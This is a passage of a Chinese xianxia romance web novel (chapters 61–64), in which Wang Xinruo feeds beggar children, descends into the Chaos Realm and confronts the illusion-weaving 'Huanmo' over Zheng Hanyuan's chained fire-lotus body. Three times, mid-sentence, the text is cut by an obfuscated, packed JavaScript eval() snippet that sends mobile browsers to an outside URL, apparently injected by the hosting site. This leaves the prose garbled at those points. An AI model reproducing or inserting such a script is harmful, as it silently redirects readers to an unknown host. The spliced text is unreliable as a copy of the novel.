初在师弟中使出时,慕容修说,此剑法柔中带刚,恢宏大气,威力难测。 许道淳说,师姐极有悟性,假以时日,必是不输于郑师兄的剑修。 唯有郑含元,看着浮在空中淡蓝色的二十八星宿和一轮皎皎明月,对她说了三个字。 “很漂亮。” 万语千言,不若他一字千钧。 王心若因着三个字激动了很久。 …… 他为什么特别。 他脾气不太好,可在她心中,是最温柔的人。 修士追逐大道,所求‘道’字,蕴蓄万千,有人为之悟遍世间万物、析遍天下道理,或是智者、或是仁者、或是淡泊者,他们‘看山不是山,看水不是水’,可她只求‘看山是山,看水是水’,求的从来只是一句‘很漂亮’罢了。 “我有两种模样,百人中有九十九爱我,因我是天界之光;唯一人爱我,因我是追月亮的光,唯有郑含元,也只是郑含元。” 他特别,是因为在所有过路人之中,唯有他是她的诗人。 吴秋行静静听着,他发现她在提起郑含元时,眸中有极亮的光。 那种光彩,不是他能给的。 “好了,一时忍不住说多了,我走了。”王心若起身,准备去鬼域寻人找线索。 吴秋行颔首,“师姐保重,万事小心。” 61. 落叶满长安(2) 61.落叶满长安(2) 王心若离开吴秋行洞府后,发现傅钰还守在外面。 “你不回去么?” 傅钰挠挠头,小心翼翼道:“我怕师姐有别的吩咐,在这里等等。” “没什么别的吩咐,你以后帮我盯紧些你家掌门,别让他又擅自算天数。修为倒退成什么了,若让外人知晓,他衍宗掌门的位置还想不想要?你也是衍宗的,他如今虚弱,门派事务多替他分担些。” “是是是,我知道了。” 王心若见他应下,便要离开。 傅钰仍跟着她。 “还有什么事?” 傅钰摇摇头,又点点头,“师姐,你……你若有吩咐,记得找我,我赴汤蹈火,在所不辞。” 他其实也没什么事,只是情劫种种经历梗在心里,心中着实难安。 王心若本欲拒绝,忽然想到什么,说:“不用你赴汤蹈火,你帮我写几个话本。” “啊?师姐,你是认真的吗?” “认真的。” “那师姐,我要写什么样的?” 王心若和他逐一吩咐。 “好……我尽量。” 王心若拍拍他的肩膀,“你是师姐弟里最有文化的,师姐相信你,你一定可以。“ 傅钰闻言,激动不已,”必不负师姐所托。“ ”快去写,给你一个月。“ 傅钰得令,恨不得现在就回洞府奋笔疾书。 王心若哄走傅钰,终于能专心御剑下到凡间。 东洲既白山恰巧在当年秦国境内,不过此时,时过境迁,东洲上早就没什么秦国宋国燕国。 不知是何原因,既白山周围似有灵气屏障,她无法御空抵达,只好在既白山附近落地。 事出反常必有妖,一般而言,界门周围会有异常的灵气波动,但此处灵气像是被抽干一般,让她无法借用半分。 鬼域之中,应该发生过比她想象更为严重的事。 没有办法,只能依靠双腿走过去。 她所落的地方似乎是一个小镇,因是冬季,街上人烟稀少,她朝着既白山走去。 …… 一面老墙下,有几个衣衫褴褛的小乞丐蜷缩在角落。 他们都灰头土脸,头发比稻草还要杂乱,此时正闭着眼,躺在草席上睡觉。 此时,衣着较鲜亮的男子经过,随手扔了一个咬过一口的鸡腿在他们面前。 乞丐中,有一个个头较小的乞丐睁开眼,他悄摸摸地轻声上前,把那鸡腿紧紧攥住,然后背过身去,开始大口地啃鸡腿。 鸡腿很快被他啃完,却因为吃得太急,又没有水,他噎住了,但他不敢吵醒别人,只好轻轻咳几声。 “快起来,陈二又背着兄弟们吃独食!”身后忽然传来公鸭子般嘶哑又尖锐的嗓音。 他一听,一个激灵,马上站起来,就往前跑去。 身后那群人反应也快,他还没跑几步,就被摁在地上,下巴猛地磕到湿冷地板,震得牙口一阵麻。 那公鸭嗓走到他眼前,一脚踩上他的头,怒道:“你他娘的听不懂人话?早说了,哪位老爷赏饭都不准吃独食,你要是不听,去别地儿待着,老子这不欢迎你!” 小乞丐一边哇哇叫着,一边说:“浩哥对不起对不起,我下次再不会了!” 他瘦得肋骨十分突出,只隔着一层薄薄血肉摩擦在地上,只要身后那群人再用力些,这骨头就要折断。 浩哥怒气冲冲骂道:“每次都这么说,我信你的屁话!兄弟们,给我打!” 小乞丐趁浩哥不再踩他的头,赶忙爬起来,嚎道:“官老爷来了,赶紧跑啊!” 他一喊完,赶忙撒丫子跑离此处,浩哥一行人被忽悠地回头看了眼,反应过来时,小乞丐已经跑了好几步。 “靠,给老子追,今天不打死这个兔崽子!” 小乞丐刚吃完鸡腿,胀腹感极强,他跑着跑着就感到肚内一阵疼痛,可后面的乞丐们都凶神恶煞地追着他,他不得不往前拼命跑去。 跑过转角,眼见后面有人快追上来,他看到前面有个身着白袍,背着长剑,手持拂尘的女子,赶忙喊道:“道长,救命,救命!有人要杀我!” 稚嫩清亮的声音回荡在小镇街巷里。 他跑到那女道长身旁,小手抓着她的衣袖,喘着说道:“道长,救救我,后面那群人说要打死我!” 那女道长闻言停下脚步,回了身看他。 小乞丐看到她面容时,满腹求救的话语都哽在喉中,只剩一张嘴微微睁大。 他被吓得赶忙放开扯她衣袖的手,但那洁白似雪的衣袖上还是留下一块小小的灰印子,他的脸瞬间羞得涨红。 这、这是神仙下凡了吗? 听说这些神仙最讨厌别人弄脏他们的衣服,那……那这位仙子姐姐会不会生气。 浩哥那群人看见她后,也停住了脚步。 仙子姐姐没说话,小乞丐狐假虎威躲在她身后,道:“你们别过来啊!道长会仙术,你们敢过来,就把你们一个个变成臭虫!” …… 王心若正在路上走着,忽然听见身后一阵骚乱,接着,她的衣袖忽然被人拉住。 她回身去看,却是个又黄又瘦,干瘪瘦弱如同芦柴棒一样的小孩。 小孩头大身小,一件黑黢黢的棉衣裹着他,显得极其宽松邋遢,他的头发也乱蓬蓬的,沾着些草屑。 全身灰蒙蒙的孩子,只有一双眼睛又大又亮,依稀有漂亮的痕迹。 似是怕她生气,他放开她的衣袖。 小孩在被一群和他境况差不多的稍微年长些的孩子追赶,那群少年看见她便停下脚步,小孩害怕他们继续追赶,颤着声音放狠话。 “道长,这陈二是个惯偷,总偷吃独食,欠教训,你不要管他!”浩哥没之前那般言语锐利,反而不自然地理了理破落衣衫,拍了拍灰,恭恭敬敬和她说话。 还都是些毛头小子。 陈二生怕被他的仙子姐姐误会,赶忙反驳道:“我先发现的,为啥不能吃!再说,以前我发现了吃的,拿给你们,你们给我剩的还不够塞牙缝,我吃个鸡腿怎么了!” “你还有理了,你最小,本来就该吃的最少!” “凭什么小就拿的少,我出的力明明是最多的!福妮从来不去找吃的,你还不是给她分了,你就是个偏心眼子!” “我是老大,我想怎样就怎样!” “偏心眼不配做老大,谁找的东西多谁做老大!” “你打得过我再说!”浩哥被陈二气得也不顾之前的克制,他跑上前就要捉他,陈二乱嚎一通,躲开浩哥,两人围着王心若跑来跑去、你追我赶,你捉我藏。 王心若无语。 真是飞来横祸。 “闹够了没?”她眼见着两个孩子旁若无人围着她追来追去,凉飕飕问他们。 浩哥不解气,“道长,不能护他!” 陈二也不服气,“道长,揍他!” 王心若不想多费口舌,说:“你们跟我来。” 孩子们还单纯,见着一个神仙一样的人,就会把她真的当神仙,对她简直言听计从。 她带着这帮孩子去了附近的酒楼,给他们点了满满一桌饭菜,让他们好生吃喝一顿。 大家一开始都有些不好意思,但那美食佳肴看着太过鲜香,终于有人忍不住动筷。一人动,诸人皆动。 陈二坐在王心若身旁,他刚吃完一个肉包子,边打嗝边说:“仙子姐姐,你太好了,还给我们东西吃!” 浩哥附和道:“是啊是啊。” 桌上响起此起彼伏的道谢声。 王心若淡淡道:“不必谢我,这饭不是白吃的。” 浩哥立马变了脸,警觉道:“道长,我们可都没钱。” 她笑了笑,“不要钱,要你们出苦力。” 他们吃完饭后,王心若去买了个轿椅,坐上去笑道:“把我抬到既白山上去,就算抵了这顿饭钱。” 她扶危救贫的高大形象在众小孩心中瞬间崩塌。 没人上前,她挑眉道:“怎么?都不愿意?” 福妮小声说:“仙子姐姐,一顿饭也花不了你太多钱。既白山那么高,我没有力气的……” 王心若露出个和善的笑容,“没关系,姐姐不勉强,完全自愿。” 一说自愿,自然很多人不想出力。 陈二回头看看他们,义愤填膺道:“你们太差劲了,仙子姐姐给我们吃了饭,你们都不帮她,你们不帮我帮!” 他像个勇士大步流星走到轿椅附近,黄瘦的小脸气鼓鼓的,倒显出几分可爱。 浩哥在原地思考了一会,上前道:“妈的,就连陈二小兔崽都去了,我不去岂不是丢脸。” 在浩哥的带领下,陆陆续续又有两个孩子出来。 王心若道:“可以了,启程吧。” 她坐在轿椅上,看四个孩子把轿椅抬起来,悄悄对他们四个画了个符咒。 她如此招摇,一路上引得不少镇民纷纷侧目议论。 最好笑的是她听见一个老婆婆悄悄说:“那不会是个妖道吧,怎么让小孩子抬轿,不会是要把他们引到深山老林里吃了吧,你们可看紧些自家娃娃。” 哎……即便是仙人,徒步爬山也是很累的嘛。 四个孩子尽心尽力,把她抬到既白山上,陈二道:“也不是累嘛,看来我还是很有力气的。” 王心若失笑,“是的,你是个小男子汉。” 浩哥附和道:“既白山太矮了,根本不够我爬的。” 王心若也夸了夸他。 快到山巅,王心若隐隐感到有巨大的灵力波动。 “好了,放我下来吧。” 孩子们听话地把轿椅放下。 她从腰间拿出四块碎银,分别给了他们,“这是你们的报酬。” 不是很多,也不是很少,但够他们饱暖活一年。 “银、银子!我的天,我发财了?!”陈二拿过银子,激动地跳了起来。 王心若道:“你们应得的,不过,要好好的用它,用它活下去,用它去念书,用它去习武,用它去生出更多的银子,千万不要一下子就用完,然后再回到这种生活。” 浩哥问道:“道长,怎么用它生出更多的银子?” “最简单的就是去做工,你们今天帮我,我才给你们相应的报酬,同样的,那些镇上的酒馆饭馆,总需要帮工,你们去做帮工,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137543|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们就会给你们工钱。你不是会打架么,那就去找找有没有地方要护院。总之,别让自己只依靠他人接济为生。” 其实他们有很多人并不是不知道这点,只是缺乏条件和契机,于是恶性循环下去,在泥沼中走不出。 真正想改变的人,只要给他们一点点机会,他就能抓住,然后把日子过得越来越好。 陈二忽然忧心忡忡问她:“仙子姐姐,那银子要是被别人抢了怎么办?” “不用怕,这银子我施过法,别人抢不走。” “喔喔。” “天色不早,你们快下山吧。” 王心若看着他们齐齐应声,然后边和她打招呼边离去。 忽然,陈二又跑了回来,扯着她的袖子,压低声音道:“姐姐,你告诉我,你是不是真的是天上的仙人?” 王心若失笑道:“是。” 他道:“我听说仙门联招要开始了,姐姐是哪个门派的?” “这你都知道,不得了。”她以为他食不果腹,不会关心这些事,“我乃云渚门下。” “云渚,我知道!剑修第一门!”陈二兴奋道:“姐姐,我可以拜你为师吗?” “那可能有些难。” “不要紧,我会努力!”他嘿嘿一笑,因浩哥催促,他依依不舍和王心若道别。 走到一半,他才反应过来没问她名字,一脸欣喜又变成郁闷。 他随手擦了擦脸,抹去右颊上一块灰,露出一颗小小的痣。 * 王心若终于走到既白山巅。 整个既白山,果然只有一处能感知灵气,而且是极其充沛浓郁的灵气。 只不过,这灵气似是源源不断向一处流去,形成漩涡。 王心若朝那漩涡走去,掐一道法诀,道声“破”,果然便天旋地转,被吸了进去。 进入地界一瞬间,她感到和以往很不同。 以往她能使出灵力御剑,然而此次她感到全身上下的灵力都随着一股躲不开的极其巨大的力量被往下吸引,就如行于狂风巨浪中的小船,难以自我控制。 狂风吹得她无法睁眼,只隐隐看到下方岩浆涌动,十分炽热。 任流光被这巨大灵力涌动从剑身中逼出,眼见两人快坠入岩浆中,他赶忙托住王心若,两人吃力运灵,险落在岩浆中一块浮着的岩石中。 “师姐,这里的灵气太奇怪了,根本无法正常运灵。” 王心若站稳后,望向四周,发现此处完全是一片火海,炽热的沸腾的岩浆组成了这片火海。 四周是陡峭岩壁,被火海光芒映照的忽明忽暗。 他们所站的岩石随着涌动的岩浆朝一处流动而去。 王心若疑道:“我们……这是降在了哪里?” 以往她都是落在鬼域冥京境内,从未见过这般景象。 火海……岩浆……奇怪的灵气扰动……还有岩壁…… 她和任流光同时望向彼此,“混沌界?!” 鬼域三地,冥京、妖都、混沌界。冥京鬼怪所居,妖都妖魔所喜,唯有混沌界几乎没有生灵。 因为这里的灵气十分反常,而这片火海又是无论仙鬼都能吞噬的夺命岩浆,所以几乎没有生灵能在此存活。 但也只是“几乎”。 混沌界出过两个三界鼎鼎大名的人物。 头一个是郑含元,第二个是幻魔。 郑含元的真身是混沌界养出的地莲,这是他亲口告诉过王心若的。 王心若没想到这次入地界,会误打误撞掉到他的“故乡”。 但问题是,郑含元和幻魔毕竟是三界比较独特的存在,所以能在混沌界自由离去。可她和任流光是依赖天地灵气修炼的仙,这万丈深渊,千里火海,若不能正常使用灵力,如何离开是个大问题。 只能祈求这块浮岩飘离混沌界。 可四周如此多的岔路,到底哪里是出口? 没想出对策前,二人只能任这浮岩自己流动,可他们感到周围空气越来越热,几乎要燃烧起来。 似是到了一个节点,岩浆流动的速度忽然变得很快。 浮岩转过一处岩壁拐角,幽幽火海中出现一处巨大的孤岩。 那巨大的孤岩上,赫然承载着一朵高约五米的火莲。 火莲剧烈燃烧着,隐隐露出原本浓郁的玄色,黑红相间,诡异无比。 更诡异的是,这火莲每一瓣都被铁链穿过,铁链另一端钉在岩壁上,铁链交错,似形成一种阵法。 四方岩浆都在往这火莲所在的孤岩汇聚,而那火莲本身也从莲瓣上滴落岩浆。 “我从来没感受过这么充沛的灵气……也没看过这么大的莲花……”任流光叹道。 外面的灵气十分紊乱,可越靠近这火莲,灵气就愈发纯粹浓郁。 仿佛这火莲是天地灵气之本源一般。 而这浴火玄莲,长得也太彪悍了些。他一直以为莲花都长得像师姐本体那般清秀小巧。 王心若一直盯着那朵火莲,她忽然开口。 “含元……是你么?” 话音刚落,眼前的火莲光亮忽然变得十分炽盛,那莲瓣也开始动起来,连带着穿过莲瓣的铁链互相碰撞,发出叮叮咚咚的声响。 62. 落叶满长安(3) 62.落叶满长安(3) “你在这待着,我先过去看看。”王心若吩咐完任流光,飞至中心孤岩上。 一到孤岩上,她感到扑面而来的灼烫火气,若是普通凡人,此刻怕已经脱水而亡。 忽然有火浆从莲瓣上坠落,擦着她的肩坠落在地。那火浆将她的白衣烫破,在肩上留下一道红痕。 仙人之体早非凡力可破,这岩浆虽伤她不深,但也不是普通的岩浆,难怪混沌界也是仙人中有名的有来无回之地。 王心若一边躲着下坠的岩浆,一边仔细打量穿过莲瓣的铁链。 直觉告诉她,这铁链如此交错排列必不是无意为之。 在下面仰视始终看不全面,她想飞到莲花上空观察一番,好在此处灵气丰沛,能让她飞身而上。然而,这种庆幸的心情并未维持多久,她刚触碰到最近的一条铁链,就感到一股极强的力量将她身躯席卷裹挟着往莲房冲去。 莲房之处汇聚许多炽热岩浆,王心若没来得及抓住手边的铁链,就被那力量拉着直直坠下去。 这力量太过强大,无法挣脱,她以为自己即将坠入炽热的岩浆,谁知,“噗通”一声,她却被一片清凉包围。 耳边声音模糊了,眼前景象也模糊了,她摸到一片软和的东西,撑着它站起来,耳边从模糊变成清晰,她听见哗啦啦的水声。 睁开双眼,眼前竟然不是幽深岩壁和赤红火焰,变成湛湛蓝天,一片明媚。 而她正在一片清澈如镜的水池中,旁边漂浮着朵朵如雪天莲。 她掬了一把池中水,触感十分真实。 这个地方她再熟悉不过,这是一重天瑶池,她的故乡。 她不是在混沌界火莲旁么,怎么又到了瑶池?难道火莲中心那灵气异动形成新的界门,直接跨越人间,把她从地界送上天界? 王心若心怀疑惑,从池中央往池沿走去。 因她是从水里站出来的,长发全湿,贴在脸上和后背。但这不是最尴尬的,最尴尬的是她身上的衣服、手里的拂尘统统不见了。 这界门也太离谱了些。 她想运灵生出一件衣衫,却发现这身躯根本凝不出灵力,就像没修行过一般。 她攀着池沿,陷入深深的思考。 这……什么鬼情况? 忽然有一只手抚上她的下巴,轻轻把她的脸勾去望向侧边。 “想什么呢?” 她猛地回神,望着池里忽然出现的不速之客,下意识退到池边角落,双手护住自己。 那人朝她挑挑眉,往前逼近一步,沉声道:“这么害羞。” 王心若把自己往水里又埋了几寸,回道:“放肆。” “我放肆?你闭关五百年见都不见我,我等了五百年,就换来一句‘放肆’?”池中白衣男子语气幽怨,眼神却深沉带着兴味,朝她又走近一步,几乎与她贴身而立。 王心若一手护着自己前胸,一手抵住他胸膛,已经无法再往后退,她不愿直视男子那张脸,道:“阁下到底是谁,有何事还请直说,请别用他的脸和我说话。” “若若,我是含元,你不认得了?” 王心若深呼吸后抬眸,望着那张熟悉的脸庞,听着他熟悉的声音,缓缓道:“你不是他,别装了。” “嗯?” “你是幻魔吧,这里……没猜错的话,是你给我织出的幻境?” 她原先以为这是界门,可若是正儿八经的界门,她的法力不会消失。 而且幻魔最后一个伤的人便是郑含元,那么他待在鬼域的可能性也很大。 所以她猜测,眼前这个人就是天界人人畏惧欲除去的幻魔;她坠向莲花时,恰巧坠入他织造的幻境。 那装成郑含元模样的人笑着皱了下眉,“幻魔是什么?” 王心若道:“……也对,幻魔原就是天界给你起的名字,你自己未必是知道的。慕容修、郑含元是你伤的吧?天界那些修士是你杀的?‘朝生幻境暮入梦,期与君逢’是你写的?” 那人后退几步,手撑着池沿坐了上去,笑道:“是,不过幻魔这名字也太难听。” “承认的倒利索。” “何时发现我不是你的小情郎的?” 听到‘小情郎’三字,王心若头皮一阵发麻,但她也没反驳,回道:“若是他,我说‘放肆’时,他便会回我‘我就放肆了,你能怎样’。” 那人脸上有一瞬僵硬,“原是我还不够放肆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137544|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 王心若有些拿不准幻魔,幻魔竟耐着性子和她说了这么久的话,表现得十分和善。不过这些大神大魔心思都难揣测的很,指不定等着什么时候就给她致命一击。 毕竟她现在只有地黄境修为。 “你放心,我不想杀你。”那人忽然开口。 王心若:“……你能知道我在想什么?” 那人颔首,“只要我想,就能知道。” 听起来愈发像妖里妖气的魔修所学的读心术…… 王心若没说话,心里暗自想道:你织幻境便织幻境,怎么不给人穿个衣服?是有什么恶趣味么? 没成想那人果然瞥她一眼,哦了一声,道:“这不怪我,我是根据你的记忆构建的幻境,你刚化形时候就这样。” 说完,他随手施法,她身上便裹了一层银纹白袍。 原来读心术是真的。 有衣衫后,她才学着他的样子,和他一齐坐在池边。 “你说你不叫幻魔,那你的真名到底叫什么?” “我的真名啊……”他悠悠道:“你还是不知道为好。” “装神弄鬼。” 那人道:“我从不装。” “为何杀天界那么多修士?” 他微眯双眼,摸了摸下巴道:“帮你们清理门户。” “慕容修和郑含元也是清理门户?” “慕容修是误伤,郑含元……我是在帮他。” 王心若看他这副神神秘秘的样子,心中就生出一股隐火,“他真身都被锁住了,你还说帮他?” “小姑娘别急,你情郎没事。你知道那铁链锁成的是什么阵么?你又知道为何既白山附近灵气全无么?” “要说就直说。” 那人啧道:“脾气还挺大,也不知道他喜欢你什么……” “喜欢我漂亮,喜欢我能打,喜欢我喜欢他,你满意了?” 那人被她不按套路出牌的回答小小地震惊了,他轻轻咳了几声,说:“好,你二人这脾气也算天生一对。我给他设这阵法,是帮他吸收灵气,助他修为更上一层楼。” “你为何帮他?究竟有何企图?” 他道:“因为我需要他的身体。” 63. 落叶满长安(4) 63.落叶满长安(4) 王心若闻言,望向他厉声问道:“阁下何意?” 他倒是气定神闲和她解释:“字面上的意思,现在我拿不回自己的身体,自然要借下别人的。” 王心若刚要开口继续问问题,唇便被他用指腹抵上。 他道:“我知道你有很多问题想问,一个一个来。” 她躲开他的手指,眼神充满警惕,“为何是他?” 他颇似遗憾地收回手,道:“上古混沌地莲,这样好的先天灵根,三界绝无仅有……不过,原本你是最好的,可惜重塑之后,灵根修为大不如前。” “阁下既然言借,应当有还,何时归还?” “自然是等我拿回自己身体时。” “你的身体在哪?” “九重天空明山底。” “这么说,阁下的出现和空明山崩塌真的有关?” “那当然,这我还要谢你。只不过那山没彻底崩塌,所以我只逃出个神识来。” “只逃出神识便已搅闹天界不得安生,阁下若全身而出,岂不是有毁天灭地之能?以此来看,阁下莫非是……” 那个字还没说出口,就被他打断,他轻叹道:“说出口就没意思了,让我们彼此保持些神秘感。” 王心若盯着他看了一会,才把“有病”两个字咽回去。 这些上古大能没一个正常的。 “好,这不要紧。阁下打算何时把身体归还于他?” “这个嘛……”他起身走到池外柳边,笑如春风和煦,“若是用得好,就……不还了吧。” 王心若回首望他,凝眸不语。 “心里在骂我?”他似是发问似是陈述。 王心若道:“小仙何敢,只是阁下如此侵占他人躯体,恐怕有失道义。再者,阁下出世怎么也有小仙一份功劳,所以小仙斗胆请阁下放人一马。” “小姑娘,你是在挟恩图报?”他倚在柳树旁,摘下一片柳叶,绕在指尖,语调微扬,饶有兴致地问她。 若说之前他不正经的语气还稍微能以假乱真,如今这戏谑却充满高深莫测的口吻便让王心若想起两位曾带给她不佳记忆的神,使她心头亦蒙上一层阴霾。 他人这种居高临下的姿态,自己这种无能为力的状态,着实令人挫败。 不知道是否是因为听到她的心里话,他收起原先略有些傲慢的姿态,轻咳一声,“莫要沮丧,和你玩笑罢了。待我回归原身,自将他奉还。” “那你未回原身前,他在何处?” “我的神识过于强大,我占据他的身体,他的神识便会一直被抑制在角落,等我出去后,他的神识才会归位。不过这已经是我试过的最好结果,毕竟天界那些仙人……大部分都承受不住,已然识海爆裂而亡。所以,他是最合适的。” 她问:“慕容修也是因此昏迷不醒?” “然也,我原以为他合适,谁知依旧伤了他的神识。无奈之下,只好退出。” “他二人经你侵占,神识还能恢复如初么?” “这倒不必担忧,歇一段时间就好。” “你什么时候去取自己的身体?” “别急,我还在帮他吸收天地日月灵气,没到时候。” “什么时候才算到了时候?” “若你与外面那小子帮我护法,助他阵中修炼,不出十年,他肉身大成,我才可借他身躯,掘开空明山底,重归原身。” “掘空明山需要如此强大的力量?” “那当然,其中阵法凶险至极,不做完全打算,不敢轻易前去。” 话已至此,王心若基本能肯定她之前同吴秋行的猜测是正确的,追问道:“你是得罪了哪位大神,被如此镇压在空明山中?” 话音刚落,他哎了声,扔掉手中柳叶,“这个问题,师侄心中应该有数吧?” “哦……”王心若听闻称呼,落实心中猜测,试探性问他:“师叔若恢复原身,与那位可有一战之力?” 他却没给出让她满意的回答,而是正色道:“化外之境的斗争是三界中人无法理解和想象的,他那日与你等打斗时已身负重创,且他离去是因别处有所牵制,否则……你以为你等真与他有一战之力?那未免也太低估‘诸神之长’这四个字。” 其实就算他不这样说,她心里也大概有数。既然他能被镇压,说明彼时另一人技高一筹;而再往后,一人于山下蹉跎数百万年时光,一人则于化外不断修炼,两人的实力又拉开一大截。 刻苦修行之后,高山依旧巍峨难攀。 不过即便如此,也并不想后退。 “只要师叔愿意和我等合作,一战之力,迟早会有的。” 他抚掌笑道:“师侄,我最欣赏你这勇气。” 王心若听不出他到底是讽刺还是真的感叹,只催促道:“事不宜迟,师叔既然需要我护法,那现在就开始吧。” “这么急啊?” “嗯。” 他走到她身后,半蹲下来耳语问她:“就如此想让你的情郎回来?” 王心若稍微挪开了些位置,不想离他太近,点头道:“嗯。” 察觉她的小动作,他直起身子问:“你就这么喜欢他?” 王心若无语,“我的家务事,就不劳师叔操心了,还请师叔把我送出幻境吧。” “师叔这不是几百万年没个说话人,你要理解理解老人家。” “等师叔回归原身后,我陪您聊三天三夜,现在还是正事要紧。” “无趣,如此这般可不招人疼……” 眼见王心若抚额,心态濒临崩溃,他才停止唠叨,把她送出幻境。 一阵疾风后,王心若感到自己在飞快下坠,快堕入滚烫莲心时,金光乍现,把她卷至莲外孤岩上。 待她落地,那拖着她的金光宝剑化成人形,正是满脸忧愁的任流光。 “幸好幸好,师姐你差一点就掉进去了!” 王心若和他解释道:“我刚刚被幻魔拦截了。” “啊?可是我只看见你从上面掉下去。莫非他侵入了你的识海?” “大概是的。而且我才知道,原来幻魔就是咱们的师叔。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137545|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的意思是……擎光?” “嗯。咱们出世前,神间应该也有斗争,而擎光师叔就是那个战败者。他败后,便被镇压在空明山中,上次我等与扶光一战,致使山崩地裂,才让他有出逃之机。”王心若将幻境中见闻向任流光一一道来。 任流光边想边道:“如此说来,空明山的流言是仪光防他传的,为让他即便出世也被当做祸世之魔,也为让放出他的那个人成为三界罪人。所以……我怀疑,不日之后,师姐你会遭到天界那批仙人的口诛笔伐。” “的确如此,仪光乐得见天界不齐心。不过我已让傅钰写了些东西以防万一,若真有那日,应该也有方法破解。” “现在只能如他所说那般,等待他掘开山底重回真身,而后与他联手,共敌仪光。” 王心若点点头,沉思片刻,忽然问他:“你说,他有没有可能是骗我的?” 任流光微微皱眉,“如果骗你,目的是什么?” “无论目的是什么,结果对含元都很不利。最可惜的是,天界最精通阵法的两个人,一个被他弄晕了,另一个还心魔出体不知所踪,而我根本参透不了这铁链阵的玄机。” 慕容修和许道淳不在,她便不知道铁链阵真正的用途。那人说慕容修是误伤,真的只是误伤么? 正因如此,即便幻魔说他是擎光,她对他的话也只能信一半不信一半。 任流光问:“那如今我们该如何是好?” 王心若回首看那炽亮依旧却已平静下来的火莲,“问问含元的意思吧。” 她走上前,轻轻抚着那滚烫的花瓣,低声道:“含元,你在听我们说话吗?” 话音刚落,她感到指尖莲瓣更加灼热,而瓣上火焰也更加明亮。 好,有反应就好。 她说:“教主最后也没干掉该死的柳家老爷。” 火莲并没有反应。 她继续道:“你杀了金府之人,犯了杀戒,不好。” 火莲依旧没有反应。 她又道:“我娘给的那支簪子,你带给下一世的我了。含元,你很遵守诺言,可我没认出来你。” 火莲瓣上的火光瞬间烈燃。 王心若点点头,“我明白了。” 她回身对任流光道:“流光,随我给此阵护法吧。” “啊?”任流光摸不着头脑,“师姐,你都和他说啥了,你们打哑谜呢。” “陈年旧事,不提也罢。总之,那人的话暂时可信。” 任流光随王心若坐在火莲旁,两人运灵结起法阵。 “师姐,你有娘吗?” “呃……情劫中有。” “那她给你的簪子,怎么给到下一世的你的?” “自然是他给的。” 说起徐若后的一世情劫,王心若不觉得难过,反而觉得有些滑稽。 郑含元将前几次拯救她失败的原因归结于他到得太晚,所以第四世卯着劲要赶在师弟前找到她。 这一世他真的做到了。 只不过,有点太早,早到她还在她娘肚子里,尚未降生。 64. 金玉有本质(1) 窗外飞花落红袖,檐上斜阳照阁楼。 郑思如遇见那像极她的女子,是在杨花纷纷的晚春暮色中。 那女子眉目淡漠,比当初秦宫的徐若还要冷上三分。明明桃李般的年纪,眸中暮色比那日斜阳还浓郁。 沉静暮色被一阵喧闹打乱,满头珠翠的贵妇人带着一帮威武彪悍的打手,不顾楼中姑娘的阻拦闯进那笙歌款款的阁楼,将那女子威逼着擒拿下来。 郑思如想上前,却被往那处涌去的人潮挤开,只能远远看着。 纷纷议论中,那贵妇尖锐的嗓音分外刺耳。 “贱人!” 说罢,清脆的巴掌声接二连三响起。 脆弱的海棠被骤雨疾风打落泥土里。 “原这秦楼楚馆里的玩意儿我是不在意的,偏生出不安分的心思,妄图入府。可你没想到吧,你给傅郎的身契今攥在我手中,既想入傅府,那便以贱奴的身份给我做奴才,今儿由我做主,给你这贱奴配个好姻缘!” 贵妇冷笑连连,跌落一旁的女子鬓发散乱,麻木的眸终泛出一丝屈辱的红。 见那肖似容颜上红肿的印子和嘴角的血迹,郑思如一瞬暴怒,正要飞身一剑了结那气焰嚣张的贵妇,却发现一身法力又消失的干干净净。 真身封印久了,逃出来的这缕神识愈不稳定。 他当即扒开人群挤上前,欲拔剑砍向那贵妇。 可冥冥之中像有什么在戏耍他般,握着剑柄的手动弹不得,直觉指引他望向一个方向,只见人群中有一个头戴帷帽的白衣人。 似是感应到这目光,白衣人微抬头,却未看向郑思如,而是开口道:“夫人,何必对一个弱女子下此重手。” 声音淡漠,语调平缓。 这般声音的主人绝不像会插手凡俗尘事之人,可他偏开口了。 恰风来扬起帷帽白纱,露出他下颌与如霜白发。 那声音入耳、白发入目,便成了让郑思如浑身僵直的网。 贵妇哼道:“弱女子?官人可不知了,往往这娼妇粉头之流,专会伏低做小扮柔弱,实际上是黑心肝的货色。” 白衣人笑笑不说话。 一举一动被限制的感觉愈发明显,明明是晚春尚凉的天气,一滴汗却从郑思如额边划过。在无人知晓时,默默进行一场盛大的反抗。 闹剧以那被羞辱掌掴的姑娘被贵妇的人拖着离开为终点。 人潮散去,白衣人和郑思如还留在原地。 